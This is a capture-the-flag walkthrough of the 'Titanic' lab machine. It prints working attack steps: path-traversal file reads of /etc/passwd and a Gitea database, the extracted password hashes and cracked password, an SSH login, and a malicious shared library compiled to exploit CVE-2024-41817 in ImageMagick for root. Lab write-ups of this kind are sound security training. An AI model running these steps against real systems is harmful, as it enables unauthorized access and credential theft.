Overview
Description
Titanic is an easy difficulty Linux machine that features an Apache server listening on port 80. The website on port 80 advertises the amenities of the legendary Titanic ship and allows users to book trips. A second vHost is also identified after fuzzing, which points to a Gitea
server. The Gitea server allows registrations, and exploration of the available repositories reveals some interesting information including the location of a mounted Gitea
data folder, which is running via a Docker container. Back to the original website, the booking functionality is found to be vulnerable to an Arbitrary File Read exploit, and combining the directory identified from Gitea, it is possible to download the Gitea SQLite database locally. Said database contains hashed credentials for the developer
user, which can be cracked. The credentials can then be used to login to the remote system over SSH. Enumeration of the file system reveals that a script in the /opt/scripts
directory is being executed every minute. This script is running the magick
binary in order to gather information about specific images. This version of magick
is found to be vulnerable to an arbitrary code execution exploit assigned CVE-2024-41817. Successful exploitation of this vulnerability results in elevation of privileges to the root
user.
Table of Contents:
Recon
Nmap
1 | ❯ nmap -sC -sV titanic.htb |
Visiting http://titanic.htb/
displays a simple website. One interesting endpoint is /book
, which returns a JSON file to download after filling out a form. Intercepting this request with Burp reveals a redirection to /download?ticket=rand-id.json
.
Enumeration & Exploitation
Local File Inclusion (LFI)
Testing for LFI by replacing rand-id.json
with ../../../../etc/passwd
successfully returns the contents of /etc/passwd
. This confirms that the site is vulnerable to LFI.
1 | root:x:0:0:root:/root:/bin/bash |
Subdomain Found
If we visit /etc/hosts
using LFI we get this:
1 | 127.0.0.1 localhost titanic.htb dev.titanic.htb |
We can see dev.titanic.htb
subdomain so Let’s add it in our Attack Machine /etc/hosts
From /etc/passwd
, we see a developer
user, but grabbing their SSH key directly fails. We also extract /etc/hosts
to check for additional domains. We find:
Visiting the Subdomain
Visiting http://dev.titanic.htb
on our Attack Machine opens a Gitea login page. You can register a new user to explore. In Gitea, there are two repositories of interest:
1 | docker-config |
Reviewing flask-app confirms the code flaw that led to LFI, but no additional credentials.
Reviewing docker-config reveals Gitea is running in a Docker container and stores data in /home/developer/gitea/data
.
Extracting Gitea Database
By referencing Gitea’s documentation, we learn that all user data is stored in a gitea.db
SQLite file, and the file is in turn stored in /data/gitea
inside the docker image. The final path is:
/home/developer/gitea/data/gitea/gitea.db
Then using the LFI exploit, we can save this file locally:
1 | ❯ curl -s "http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db" -o gitea.db |
Gitea Database Enumeration
Open gitea.db
in SQLite:
1 | sqlite3 gitea.db |
1 | administrator|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|2d149e5fbd1b20cf31db3e3c6a28fc9b developer|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|8bf3e3452b78544f8bee9400d6936d34 test|6f4dd1c617813da3dcc9ee0c7b0aeb7b3135cc85943e92a0e54102486cff31414ded2eaeac5312914a4f333ae1f2e2d43110|3f68d4b0d5183c5d6d811d55a367dd63 |
This hash format aint good to be cracked by hashcat
.
Retreiving Hash And Cracking the Developer’s Password, We convert it manually or use gitea2hashcat.py script. And also watch this Ippsec video for more Detail.
1 | ❯ python3 gitea2hashcat.py -h gitea.db |
We know second
one is of developer so we also add username to match in format.
1 | # Hashes |
Highly recommended to watch Ippsec
video for more detail.
Hashcat
1 | ❯ hashcat --username hashes rockyou.txt |
After running hashcat
we get password 25282528
1 | developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:25282528 |
Now we can just connect to Developer SSH using credentials we have.
Into Developer’s SSH
1 | ❯ ssh developer@titanic.htb |
Privilege Escalation
Enumerating Again
After logging in, /opt/scripts See a script next
1 | developer@titanic:/opt$ ls |
Exploring /opt
, we find a scripts
folder containing identify_images.sh
. Inspecting the file, we see it calls ImageMagick’s identify
command on uploaded images.
The system uses ImageMagick 7.1.1–35, which is vulnerable to a known arbitrary code execution exploit. By crafting a malicious file (e.g., an .mvg
or .svg
), we can execute commands when identify
processes it.
1 | developer@titanic:/opt/scripts$ magick --version |
References: ImageMagick Vulnerability - Read this for Information.
Arbitrary Code Execution in AppImage
version ImageMagick
According to identify_image.sh, We Need to be at /opt/app/static/assets/images , We use Medium generation libxcb.so.1 To cause root Under permission magick Read to root.txt.
Below is a simplified example using a shared library approach, though a reverse shell payload is often used in practice. Compile a malicious .so
file:
1 | cd /opt/app/static/assets/images |
1 | gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF |
Then modify the original catalog content, such as copying a picture, we need to do this in order for magick
to run and get changes.
1 | developer@titanic:/opt/app/static/assets/images$ cp home.jpg home2.jpg |